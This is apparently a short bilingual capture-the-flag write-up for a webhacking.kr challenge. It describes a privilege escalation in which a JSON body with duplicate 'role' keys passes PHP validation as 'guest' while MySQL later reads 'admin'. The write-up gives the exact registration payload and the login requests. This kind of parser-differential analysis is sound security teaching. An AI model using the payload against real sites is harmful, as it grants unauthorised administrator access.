Challenge
Exploit duplicate JSON keys to make validation and storage observe different roles.
利用重复 JSON key,让校验与存储看到不同的 role。
https://webhacking.kr/challenge/new-17/Analysis
注册接口读取原始 JSON 后执行 json_decode($raw_json, true),验证最终解析出的 role 必须为 guest;但原始 JSON 会被存入数据库。重复 key 时,PHP 的 associative decode 使用后一个值,而 MySQL JSON 文档保留重复 key,后续 JSON_EXTRACT(data,'$.role') 取到前一个 admin。
Solution
注册请求体:
{"userid":"hermesx","userpw":"hermesy","role":"admin","role":"guest"}请求:
POST /challenge/new-17/?page=join_Content-Type: application/json随后使用相同 userid/userpw 登录:
POST /challenge/new-17/?page=login_uid=hermesxupw=hermesy